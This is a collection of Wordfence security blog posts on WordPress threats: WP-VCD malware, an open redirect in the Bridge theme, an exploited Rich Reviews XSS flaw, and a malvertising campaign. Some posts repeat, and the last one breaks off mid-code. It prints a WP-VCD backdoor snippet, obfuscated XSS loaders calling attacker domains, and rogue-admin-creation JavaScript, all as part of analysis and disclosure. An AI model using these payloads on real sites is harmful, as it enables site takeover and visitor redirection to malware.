WP-VCD: The Malware You Installed On Your Own Site

One of the most prevalent malware infections facing the WordPress ecosystem in recent weeks is a campaign known as WP-VCD. Despite the relatively long existence of the campaign, the Wordfence threat intelligence team has associated WP-VCD with a higher rate of new infections than any other WordPress malware every week since August 2019, and the campaign shows no signs of slowing down.

In today’s post, we are publishing a comprehensive whitepaper analyzing WP-VCD. This whitepaper contains the full details of our research efforts into this prevalent campaign. It is intended as a resource for threat analysts, security researchers, WordPress developers and administrators, and anyone else interested in tracking or preventing the behavior associated with WP-VCD.

WP-VCD In Brief

The WP-VCD infection itself is spread via “nulled”, or pirated, plugins and themes distributed by a network of related sites, and it’s remarkable in the way it propagates once deployed. Behind the scenes, extensive command and control (C2) infrastructure and self-healing infections allow attackers to maintain a persistent foothold on these infected sites.

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2f3ad13e4908141130e292bf8aa67474'))
	{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
	case 'change_domain';
	if (isset($_REQUEST['newdomain']))

The code snippet above was sourced from an infected functions.php file on a site compromised by WP-VCD. Due to the campaign’s prevalence, this example is likely immediately recognizable to anyone with experience handling WordPress malware infections.

Full details and code analysis of the WP-VCD campaign can be found in the full report.

Infrastructure, Monetization, and Attribution

At various points in its history, specific features have been added and removed from the malware, but most core components of WP-VCD have remained consistent. Monetization comes from two main sources: viral marketing activity intended to manipulate search engine results via black hat SEO, and malvertising code which creates potentially dangerous redirects and pop-up ads for users viewing a compromised site.

In the whitepaper, we provide some insight into the extent of WP-VCD’s infrastructure and monetization scheme. We also reveal data which provides attribution to the threat actor behind the campaign.

Indicators of Compromise (IOCs)

In order to aid the security community in the prevention, detection, and eradication of WP-VCD infections, we have provided an extensive list of IOCs associated with this campaign. We have also shared some YARA-compatible malware detection rules for public use in the identification of infected sites.

Read The Full Report

The full scope of our investigation into WP-VCD far exceeds that of a typical research blog post, so please read the complete whitepaper: WP-VCD: The Malware You Installed On Your Own Site.

Credits: WP-VCD whitepaper by Mikey Veenstra. Editing by Sean Murphy and Ramuel Gall. 

The post WP-VCD: The Malware You Installed On Your Own Site appeared first on Wordfence.

Read More

Open Redirect Vulnerability Patched In Bridge Theme

Description: Open Redirect
CVSS v3.0 Score: 7.1 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Affected Software: Two built-in plugins packaged with the Bridge theme – Qode Instagram Widget and Qode Twitter Feed
Plugin Slugs: qode-instagram-widget, qode-twitter-feed
Affected Versions: Bridge Theme: 18.2 / Plugins: 2.0.1
Patched Version: Bridge Theme: 18.2.1 / Plugins: 2.0.2

Our Threat Intelligence team recently identified an open redirect vulnerability in Bridge, a commercial WordPress theme purchased more than 120,000 times. We disclosed this issue to Qode Interactive, the theme’s developers, who have since released a patch for the affected components.

The initial discovery was related to one of the theme’s prepackaged helper plugins, Qode Instagram Widget. After discovery, Qode’s team patched a similar open redirect flaw in another prepackaged plugin, Qode Twitter Feed. Both of these plugins should be updated to their latest version, which is 2.0.2 in both cases at the time of this writing. These updates will be accessible from within the Bridge theme’s recommended plugin manager once the theme has been updated to 18.2.1.

We have released new firewall rules which protects Wordfence users’ sites from abuse of these open redirects. Wordfence Premium users already have access to these rules, and users still on the free version will have access in thirty days.

In today’s post, we’ll take a look at the vulnerabilities that were patched, and we’ll briefly discuss the risk that an open redirect vulnerability presents. Update workflows can vary for commercial themes and plugins such as these, so we’ll additionally be providing a short guide to help Bridge users ensure they’re up to date.

What Is An Open Redirect?

An open redirect vulnerability exists when a web application can be made to redirect a visitor to an arbitrary location based on user input. This can be used to create innocent-looking web links to legitimate domains, which then redirect the victim to a dangerous location. This is commonly used in phishing scams, since a link to a trustworthy site is much more likely to be clicked than a typical phishing domain.

A classic example of this type of flaw is as follows:

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

In the example above, a victim could be sent a link to https://legitimatesite.com/redirect.php?url=https://evilsite.com, hover over the link to confirm the legitimatesite.com domain, click on it, and be taken to evilsite.com without their permission.

In the WordPress ecosystem, this could be used in spearphishing attacks against site administrators. An administrator could receive a link to their own website and be taken to a WordPress login page, not knowing they were redirected to a phishing site built to harvest their credentials.

Vulnerable Redirect Scripts In Prepackaged Plugins

Upon install, the Bridge theme prompts users to install a number of prepackaged plugins. Two of these plugins, Qode Instagram Widget and Qode Twitter Feed, contained redirect scripts which allowed open redirects.

For Qode Instagram Widget, the following script could be found at lib/instagram-redirect.php:

<?php

if(!empty($_GET['redirect_uri']) && !empty($_GET['code'])) {
    $glue = strstr($_GET['redirect_uri'], '?') ? '&' : '?';
    header('Location: '.($_GET['redirect_uri'].$glue.'code='.$_GET['code']));
}

This code takes the GET parameters redirect_uri and code, and combine them into an eventual redirect location.

The code in Qode Twitter Feed is almost identical. The following can be found at lib/twitter-redirect.php:

<?php

if(!empty($_GET['redirect_url']) && !empty($_GET['oauth_token']) && !empty($_GET['oauth_verifier'])) {
    $glue = strstr($_GET['redirect_url'], '?') ? '&' : '?';
    header('Location: '.($_GET['redirect_url'].$glue.'oauth_token='.$_GET['oauth_token']).'&oauth_verifier='.$_GET['oauth_verifier']);
}

Not counting the interchange of “URI” and “URL” in the variable names, the only differences are the additional GET parameters required to trigger the redirect.

Upon disclosure, Qode Interactive responded that these scripts were only present for demo purposes, and they have been removed entirely from patched versions of the plugins.

How Do I Patch?

Commercial WordPress themes and plugins often have update workflows that differ from those native to the WordPress.org repository. In the case of the Bridge theme and its associated plugins, it seems many users aren’t getting the updates they need. According to our data, 38% of active Qode Instagram Widget installations haven’t been updated in more than two years, and that number jumps to 68% for Qode Twitter Feed users. 

Updating these plugins first requires users to update the Bridge theme. This is done either by manually downloading and installing an updated copy of the theme from ThemeForest, or by using the Envato Market plugin which also comes bundled with the Bridge theme to update from within the WordPress dashboard.

Screenshot of the Envato Market plugin’s API setup process.

Once the Envato Market plugin is installed, you can open its menu in the dashboard and set up your site’s API access to the Envato Marketplace. This will require you to log in to the account you used to purchase the Bridge theme and generate an access token using the steps they provide.

Once the API connection has been established, the theme can be updated. Unfortunately, the need to update isn’t made particularly obvious from most of the dashboard, as it doesn’t interact with WordPress’s built-in update notification system. Instead, you’ll see the update available within the Theme selector (Appearance -> Themes), or within the Themes tab of the Envato Market options page.

Screenshot of the WordPress theme selector showing an update available for Bridge.

Once Bridge has been updated, users may see a nag notification telling them their built-in plugins need to be updated, but if they ignore or dismiss it there’s no persistent indication that an update is available. If users open their plugins page, they won’t see a typical update notice. The individual plugin entries will show an “Update Required” link, however.

Screenshot of a WordPress plugin management page, showing several Qode plugins with “Update Required” links.

Short-Term Fix: Delete The Scripts

In the event that updating your site’s Bridge theme isn’t immediately possible, such as cases where a one-time developer installed it before vanishing into the wind, it’s easy to resolve the security issues present in these plugins without updating anything else.

Since the vulnerable files aren’t actually used or referenced in the plugins themselves, users can simply delete instagram-redirect.php and twitter-redirect.php from their sites without causing any problems. While it’s still always recommended that users update their themes and plugins, removing these files will still mitigate security concerns in the meantime.

Disclosure Timeline

  • 09/19/19 – Vendor notified of issue
  • 09/23/19 – Vendor acknowledged issue and proposed patch
  • 10/16/19 – Patched version released

 

The post Open Redirect Vulnerability Patched In Bridge Theme appeared first on Wordfence.

Read More

Open Redirect Vulnerability Patched In Bridge Theme

Description: Open Redirect
CVSS v3.0 Score: 7.1 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Affected Software: Two built-in plugins packaged with the Bridge theme – Qode Instagram Widget and Qode Twitter Feed
Plugin Slugs: qode-instagram-widget, qode-twitter-feed
Affected Versions: Bridge Theme: 18.2 / Plugins: 2.0.1
Patched Version: Bridge Theme: 18.2.1 / Plugins: 2.0.2

Our Threat Intelligence team recently identified an open redirect vulnerability in Bridge, a commercial WordPress theme purchased more than 120,000 times. We disclosed this issue to Qode Interactive, the theme’s developers, who have since released a patch for the affected components.

The initial discovery was related to one of the theme’s prepackaged helper plugins, Qode Instagram Widget. After discovery, Qode’s team patched a similar open redirect flaw in another prepackaged plugin, Qode Twitter Feed. Both of these plugins should be updated to their latest version, which is 2.0.2 in both cases at the time of this writing. These updates will be accessible from within the Bridge theme’s recommended plugin manager once the theme has been updated to 18.2.1.

We have released new firewall rules which protects Wordfence users’ sites from abuse of these open redirects. Wordfence Premium users already have access to these rules, and users still on the free version will have access in thirty days.

In today’s post, we’ll take a look at the vulnerabilities that were patched, and we’ll briefly discuss the risk that an open redirect vulnerability presents. Update workflows can vary for commercial themes and plugins such as these, so we’ll additionally be providing a short guide to help Bridge users ensure they’re up to date.

What Is An Open Redirect?

An open redirect vulnerability exists when a web application can be made to redirect a visitor to an arbitrary location based on user input. This can be used to create innocent-looking web links to legitimate domains, which then redirect the victim to a dangerous location. This is commonly used in phishing scams, since a link to a trustworthy site is much more likely to be clicked than a typical phishing domain.

A classic example of this type of flaw is as follows:

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

In the example above, a victim could be sent a link to https://legitimatesite.com/redirect.php?url=https://evilsite.com, hover over the link to confirm the legitimatesite.com domain, click on it, and be taken to evilsite.com without their permission.

In the WordPress ecosystem, this could be used in spearphishing attacks against site administrators. An administrator could receive a link to their own website and be taken to a WordPress login page, not knowing they were redirected to a phishing site built to harvest their credentials.

Vulnerable Redirect Scripts In Prepackaged Plugins

Upon install, the Bridge theme prompts users to install a number of prepackaged plugins. Two of these plugins, Qode Instagram Widget and Qode Twitter Feed, contained redirect scripts which allowed open redirects.

For Qode Instagram Widget, the following script could be found at lib/instagram-redirect.php:

<?php

if(!empty($_GET['redirect_uri']) && !empty($_GET['code'])) {
    $glue = strstr($_GET['redirect_uri'], '?') ? '&' : '?';
    header('Location: '.($_GET['redirect_uri'].$glue.'code='.$_GET['code']));
}

This code takes the GET parameters redirect_uri and code, and combine them into an eventual redirect location.

The code in Qode Twitter Feed is almost identical. The following can be found at lib/twitter-redirect.php:

<?php

if(!empty($_GET['redirect_url']) && !empty($_GET['oauth_token']) && !empty($_GET['oauth_verifier'])) {
    $glue = strstr($_GET['redirect_url'], '?') ? '&' : '?';
    header('Location: '.($_GET['redirect_url'].$glue.'oauth_token='.$_GET['oauth_token']).'&oauth_verifier='.$_GET['oauth_verifier']);
}

Not counting the interchange of “URI” and “URL” in the variable names, the only differences are the additional GET parameters required to trigger the redirect.

Upon disclosure, Qode Interactive responded that these scripts were only present for demo purposes, and they have been removed entirely from patched versions of the plugins.

How Do I Patch?

Commercial WordPress themes and plugins often have update workflows that differ from those native to the WordPress.org repository. In the case of the Bridge theme and its associated plugins, it seems many users aren’t getting the updates they need. According to our data, 38% of active Qode Instagram Widget installations haven’t been updated in more than two years, and that number jumps to 68% for Qode Twitter Feed users. 

Updating these plugins first requires users to update the Bridge theme. This is done either by manually downloading and installing an updated copy of the theme from ThemeForest, or by using the Envato Market plugin which also comes bundled with the Bridge theme to update from within the WordPress dashboard.

Screenshot of the Envato Market plugin’s API setup process.

Once the Envato Market plugin is installed, you can open its menu in the dashboard and set up your site’s API access to the Envato Marketplace. This will require you to log in to the account you used to purchase the Bridge theme and generate an access token using the steps they provide.

Once the API connection has been established, the theme can be updated. Unfortunately, the need to update isn’t made particularly obvious from most of the dashboard, as it doesn’t interact with WordPress’s built-in update notification system. Instead, you’ll see the update available within the Theme selector (Appearance -> Themes), or within the Themes tab of the Envato Market options page.

Screenshot of the WordPress theme selector showing an update available for Bridge.

Once Bridge has been updated, users may see a nag notification telling them their built-in plugins need to be updated, but if they ignore or dismiss it there’s no persistent indication that an update is available. If users open their plugins page, they won’t see a typical update notice. The individual plugin entries will show an “Update Required” link, however.

Screenshot of a WordPress plugin management page, showing several Qode plugins with “Update Required” links.

Short-Term Fix: Delete The Scripts

In the event that updating your site’s Bridge theme isn’t immediately possible, such as cases where a one-time developer installed it before vanishing into the wind, it’s easy to resolve the security issues present in these plugins without updating anything else.

Since the vulnerable files aren’t actually used or referenced in the plugins themselves, users can simply delete instagram-redirect.php and twitter-redirect.php from their sites without causing any problems. While it’s still always recommended that users update their themes and plugins, removing these files will still mitigate security concerns in the meantime.

Disclosure Timeline

  • 09/19/19 – Vendor notified of issue
  • 09/23/19 – Vendor acknowledged issue and proposed patch
  • 10/16/19 – Patched version released

 

The post Open Redirect Vulnerability Patched In Bridge Theme appeared first on Wordfence.

Read More

Zero Day Vulnerability in Rich Reviews Plugin Exploited In The Wild

Description: XSS Via Unauthenticated Plugin Options Update
Affected Plugin: Rich Reviews
Affected Versions: <= 1.7.4
CVSS Score: 8.3 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

The Wordfence Threat Intelligence team is tracking a series of attacks against an unpatched vulnerability in the Rich Reviews plugin for WordPress. The estimated 16,000 sites running the plugin are vulnerable to unauthenticated plugin option updates, which can be used to deliver stored cross-site scripting (XSS) payloads.

Attackers are currently abusing this exploit chain to inject malvertising code into target websites. The malvertising code creates redirects and popup ads. Our team has been tracking this attack campaign since April of this year. You can find additional research covering this attack campaign, published by us in April and again in August of this year.

The Wordfence firewall already has built-in rules that reliably block the XSS injections in this campaign, both for Premium users and those who haven’t upgraded yet. In addition to this, we have released a new firewall rule for our Premium customers to prevent attackers from making configuration changes, such as removing the need for review approval, or defacing certain text elements.

This new Wordfence firewall rule prevents manipulation of the plugin’s settings and has been automatically deployed to our Wordfence Premium customers. The new rule will be released to free users within 30 days.

The plugin’s developers are aware of this vulnerability, but there is no patch currently available. Please see our notes on disclosure below. We recommend users find an alternative solution as soon as possible, or remove the Rich Reviews plugin from your site.

The vulnerability in this plugin is being actively exploited. The Wordfence team is seeing this in our attack data and our Security Services Team has assisted customers of our site cleaning service who have had their site compromised by an attacker who exploited this vulnerability.

Why We Are Disclosing Today

Our published disclosure policy is to ensure that developers have 7 days to fix an actively exploited vulnerability. The Rich Reviews plugin was removed from the WordPress repository 6 months ago. That means that, even if the developers release a fix, customers will not be able to update until the plugin is reinstated in the repository. We saw this forum post 5 days ago describing another site being infected via this vulnerability. At that time the developers responded with the following:

We’ve been working on an overall rewrite of this plugin for a while now, but someone out there apparently wanted us to work faster on it, and decided to exploit our plugin to get some malware out there. We’re now going double-quick on it, and hope to have it back up (and newly cozy and secure) within the next two weeks.

In view of the active exploitation that is affecting the WordPress community, the removal of the plugin from the repository, the inability for WordPress sites to update if a fix is released, and the vague timeline expressed by the developer, we have made the decision to disclose the details of this vulnerability now so that the community can protect themselves immediately.

The Vulnerability At A Glance

The two core issues in the Rich Reviews plugin are a lack of access controls for modifying the plugin’s options, and a subsequent lack of sanitization on the values of those options.

To perform options updates, the plugin checks for the presence of the POST body parameter update. If the expected value is present, the plugin iterates through other options passed through POST and updates their values as needed. Unfortunately, this check is made every time the plugin’s RichReviews class is instantiated regardless of user permissions or the current path. This means all incoming requests are capable of performing these changes.

A number of the vulnerable option values are responsible for customizing text displayed by the plugin. Improper sanitization of these values allows attackers to inject JavaScript payloads which can be triggered by visitors as well as logged-in administrators.

The Attack Campaign

While performing forensic review of an infected site, a security analyst with our site cleaning team identified suspicious log activity associated with the Rich Reviews plugin.

183.90.250.26 - [redacted] "POST /wp-admin/admin-post.php?page=fp_admin_options_page HTTP/1.0" 200 - "-" "-"

An interesting note regarding this log entry is the inclusion of the plugin’s admin-post.php page string. This type of request is commonly seen in cases where an is_admin check is improperly used to test a user’s permissions, such as in this example from earlier this year. However, that workaround is unnecessary in this case, where all incoming requests are checked for options updates regardless of path.

The payloads injected by these attackers are directly associated with a malvertising campaign we’ve reported on previously:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 97, 100, 115, 110, 101, 116, 46, 119, 111, 114, 107, 47, 115, 99, 114, 105, 112, 116, 115, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

The obfuscated payload above executes the following script:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://adsnet.work/scripts/place.js";
document.getElementsByTagName('head')[0].appendChild(script);

This XSS payload is nearly identical to those we’ve identified in this campaign before. The sourced third-party script place.js is similar to others we’ve seen in this malvertising campaign as well, which could trigger popup ads and unwanted redirects.

Indicators of Compromise (IOCs)

Our Threat Intelligence Team releases indicators of compromise where feasible so that other security vendors can add detection capability to their products and provide protection to their customers. The following are IOCs that we have observed associated with this attack campaign.

IP Addresses

The following IP addresses are linked to malicious activity against this vulnerability:

  • 94.229.170.38
  • 183.90.250.26
  • 69.27.116.3

Domain Names

  • adsnet.work – Hosts malicious scripts sourced by XSS injections.
    • Outbound DNS requests to this domain suggest a user on your network may have triggered a potentially dangerous redirect.

Database Content

Injected content will be present in the options table of your WordPress database, with the name rr_options.

Conclusion

Rich Reviews, a plugin with an estimated 16,000 users, was removed from the WordPress plugin repository in March for security reasons. The current version of the plugin contains a highly exploitable options update vulnerability that can be used to inject a stored XSS payload into vulnerable sites. We have identified a known malvertising campaign abusing vulnerable sites in order to deliver popup ads and potentially dangerous redirects.

Wordfence users, both Premium and those still on Free, are already protected from the attacks in this campaign due to the firewall’s robust XSS protection. There is potential for non-XSS abuse of this vulnerability, however, which has prompted us to release a new firewall rule. Wordfence Premium users have received an automatic update containing this new rule, while free users will receive an  update in thirty days.

The plugin’s developers have acknowledged the presence of these issues, but have provided an estimate of two weeks to resolve these vulnerabilities. Due to the length of this patch process and in light of the fact that the plugin has been removed from the official WordPress plugin repository, it is recommended that Rich Reviews users find an alternative solution to ensure the security of their sites.

Please consider sharing this post to help create awareness of this security issue.

The post Zero Day Vulnerability in Rich Reviews Plugin Exploited In The Wild appeared first on Wordfence.

Read More

Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins

In July, we reported on a malvertising campaign which was distributing redirect and popup code through a number of public vulnerabilities affecting the WordPress ecosystem. As mentioned in the article, we’ve continued tracking this threat for new or changing activity.

Much of the campaign remains identical. Known vulnerabilities in WordPress plugins are exploited to inject malicious JavaScript into the frontends of victim sites, which causes the sites’ visitors to be redirected to potentially harmful content like malware droppers and fraud sites. Where possible, the payloads are obfuscated in an attempt to avoid detection by WAF and IDS software.

However, some new indicators of compromise (IOCs) have been linked to this campaign since our last report. In today’s post, we’ll share some of this updated activity.

One IP Address Is Issuing Most of the Attacks

During the initial investigation, we identified the attacks coming from a number of IP addresses linked to web hosting providers. Shortly after that post, most of the IPs involved ceased the activity. One IP address, however, has continued the attacks.

The IP address in question is 104.130.139.134, a Rackspace server currently hosting some presumably compromised websites. We have reached out to Rackspace to inform them of this activity, in hopes that they will take action in preventing further attacks from their network. We have not yet heard back.

New Vulnerabilities Under Attack

This campaign has been targeting a number of known vulnerabilities since we began tracking it, and new vulnerabilities are added to the list of targets as they’re discovered. Of particular note is a recently disclosed flaw in the Bold Page Builder plugin. On August 23rd, NinTechNet released a warning that a vulnerability had been discovered in the plugin and had been under attack since the previous day. The Wordfence firewall’s built-in XSS protection detected attacks against this vulnerability as early as August 20th.

The plugins currently under attack in this campaign are:

  • Bold Page Builder
  • Blog Designer
  • Live Chat with Facebook Messenger
  • Yuzo Related Posts
  • Visual CSS Style Editor
  • WP Live Chat Support
  • Form Lightbox
  • Hybrid Composer
  • All former NicDark plugins (nd-booking, nd-travel, nd-learning, et. al.)

The campaign picks up new targets over time. It’s reasonable to assume any unauthenticated XSS or options update vulnerabilities disclosed in the near future will be quickly targeted by this threat actor.

Backdoor Payload Added to Campaign

Our initial research into this campaign identified the injection of scripts which triggered malicious redirects or unwanted popups in the browsers of a victim site’s visitors. Since that time, the campaign has added an additional script which attempts to install a backdoor into the target site by exploiting an administrator’s session.

The following code is an example of the raw payload used to accomplish this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 105, 110, 99, 108, 117, 100, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

This obfuscated payload, when decoded, shows the following:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://yourservice.live/include.js";
document.getElementsByTagName('head')[0].appendChild(script);

This short JavaScript block generates a new <script> tag on affected pages, sets its src parameter to https://yourservice.live/include.js, then executes it.

The code contained in include.js is responsible for attempting to create a new user with administrator privileges on the victim’s site. After checking for a cookie to determine if the given visitor has triggered the payload before, a function called checkmeone() is executed in order to test if that visitor is capable of creating new users, which would be the case if a logged-in administrator views an affected page. The deobfuscated content of that function is as follows:

function checkmeone() {
	var site = extractSummary(document.head.innerHTML);
	if(site == "null") { return 0; }
	var newuser_url = site+"wp-admin/user-new.php";
	var ajax_url = site+"wp-admin/admin-ajax.php";
  var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
           
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
				putmeone();
			} 
        },
		"fail" : function() {
			getmeone();
		}
    });
}

If the user is presented with a _wpnonce_create-user nonce when visiting the site’s wp-admin/user-new.php endpoint, then the script knows a new user can be created. If this is the case, the putmeone() function is triggered. This function makes an AJAX call via jQuery which creates the rogue administrator account.

$.ajax({
    "url": newuser_url,
    "method" : "POST",
    "data" :
    {
        "action":"createuser",
        "_wpnonce_create-user": nonce,
        "_wp_http_referer" : "/wp-admin/user-new.php",
        "user_login": "wpservices",
        "email" : "wpservices@yandex.com",
        "first_name" : "wordpress",
        "last_name" : "maintenance",
        "url" : "http://wordpress.org/",
        "pass1" : "w0rdpr3ss",
        "pass1-text" : "w0rdpr3ss",
        "pass2" : "w0rdpr3ss",
        "send_user_notification" : 1,
        "role":"administrator",
        "createuser" : "Add+New+User"
    },
    "success" : function(html){
        //console.log("New User created");
        //Removeing the XSS from the site, callback hell
        $.ajax({
            "url": ajax_url,
            "method" : "POST",
            "data" :
             {
                "action":"fake",
                "permalink_structure": 1
             },
             });

    }
});

This AJAX call creates a user named wpservices with the email wpservices@yandex.com and the password w0rdpr3ss. With this user in place, the attacker is free to install further backdoors or perform other malicious activity.

Indicators of Compromise (IOCs)

Domains

  • yourservice.live – Hosts the script responsible for rogue administrator creation. Also associated with other malvertising scripts in earlier incarnations of this campaign.
  • adsnet.work – Hosts ad network scripts for redirection and popups.

IP Addresses

  • 104.130.139.134

Conclusion

At the time of this writing, attacks associated with this campaign are still ongoing. Wordfence users, even if still using the free version, are protected from the XSS attacks seen in this campaign by our firewall rules. We are continuing to track exploitation of new vulnerabilities, which may provide us with more unique payloads requiring new firewall rules. We will issue updates as appropriate.

As always, updating the plugins and themes on your WordPress site is an excellent layer of defense against campaigns like these. Check your site for needed updates frequently to ensure you’re receiving the latest patches as they’re released. Wordfence users periodically receive emails informing them when updates are available as well.

Please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

The post Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins appeared first on Wordfence.

Read More

Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins

In July, we reported on a malvertising campaign which was distributing redirect and popup code through a number of public vulnerabilities affecting the WordPress ecosystem. As mentioned in the article, we’ve continued tracking this threat for new or changing activity.

Much of the campaign remains identical. Known vulnerabilities in WordPress plugins are exploited to inject malicious JavaScript into the frontends of victim sites, which causes the sites’ visitors to be redirected to potentially harmful content like malware droppers and fraud sites. Where possible, the payloads are obfuscated in an attempt to avoid detection by WAF and IDS software.

However, some new indicators of compromise (IOCs) have been linked to this campaign since our last report. In today’s post, we’ll share some of this updated activity.

One IP Address Is Issuing Most of the Attacks

During the initial investigation, we identified the attacks coming from a number of IP addresses linked to web hosting providers. Shortly after that post, most of the IPs involved ceased the activity. One IP address, however, has continued the attacks.

The IP address in question is 104.130.139.134, a Rackspace server currently hosting some presumably compromised websites. We have reached out to Rackspace to inform them of this activity, in hopes that they will take action in preventing further attacks from their network. We have not yet heard back.

New Vulnerabilities Under Attack

This campaign has been targeting a number of known vulnerabilities since we began tracking it, and new vulnerabilities are added to the list of targets as they’re discovered. Of particular note is a recently disclosed flaw in the Bold Page Builder plugin. On August 23rd, NinTechNet released a warning that a vulnerability had been discovered in the plugin and had been under attack since the previous day. The Wordfence firewall’s built-in XSS protection detected attacks against this vulnerability as early as August 20th.

The plugins currently under attack in this campaign are:

  • Bold Page Builder
  • Blog Designer
  • Live Chat with Facebook Messenger
  • Yuzo Related Posts
  • Visual CSS Style Editor
  • WP Live Chat Support
  • Form Lightbox
  • Hybrid Composer
  • All former NicDark plugins (nd-booking, nd-travel, nd-learning, et. al.)

The campaign picks up new targets over time. It’s reasonable to assume any unauthenticated XSS or options update vulnerabilities disclosed in the near future will be quickly targeted by this threat actor.

Backdoor Payload Added to Campaign

Our initial research into this campaign identified the injection of scripts which triggered malicious redirects or unwanted popups in the browsers of a victim site’s visitors. Since that time, the campaign has added an additional script which attempts to install a backdoor into the target site by exploiting an administrator’s session.

The following code is an example of the raw payload used to accomplish this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 105, 110, 99, 108, 117, 100, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

This obfuscated payload, when decoded, shows the following:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://yourservice.live/include.js";
document.getElementsByTagName('head')[0].appendChild(script);

This short JavaScript block generates a new <script> tag on affected pages, sets its src parameter to https://yourservice.live/include.js, then executes it.

The code contained in include.js is responsible for attempting to create a new user with administrator privileges on the victim’s site. After checking for a cookie to determine if the given visitor has triggered the payload before, a function called checkmeone() is executed in order to test if that visitor is capable of creating new users, which would be the case if a logged-in administrator views an affected page. The deobfuscated content of that function is as follows:

function checkmeone() {
	var site = extractSummary(document.head.innerHTML);
	if(site == "null") { return 0; }
	var newuser_url = site+"wp-admin/user-new.php";
	var ajax_url = site+"wp-admin/admin-ajax.php";
  var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
           
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
				putmeone();
			} 
        },
		"fail" : function() {
			getmeone();
		}
    });
}

If the user is presented with a _wpnonce_create-user nonce when visiting the site’s wp-admin/user-new.php endpoint, then the script knows a new user can be created. If this is the case, the putmeone() function is triggered. This function makes an AJAX call via jQuery which creates the rogue administrator account.

$.ajax({
    "url": newuser_url,
    "method" : "POST",
    "data" :
    {
        "action":"createuser",
        "_wpnonce_create-user": nonce,
        "_wp_http_referer" : "/wp-admin/user-new.php",
        "user_login": "wpservices",
        "email" : "wpservices@yandex.com",
        "first_name" : "wordpress",
        "last_name" : "maintenance",
        "url" : "http://wordpress.org/",
        "pass1" : "w0rdpr3ss",
        "pass1-text" : "w0rdpr3ss",
        "pass2" : "w0rdpr3ss",
        "send_user_notification" : 1,
        "role":"administrator",
        "createuser" : "Add+New+User"
    },
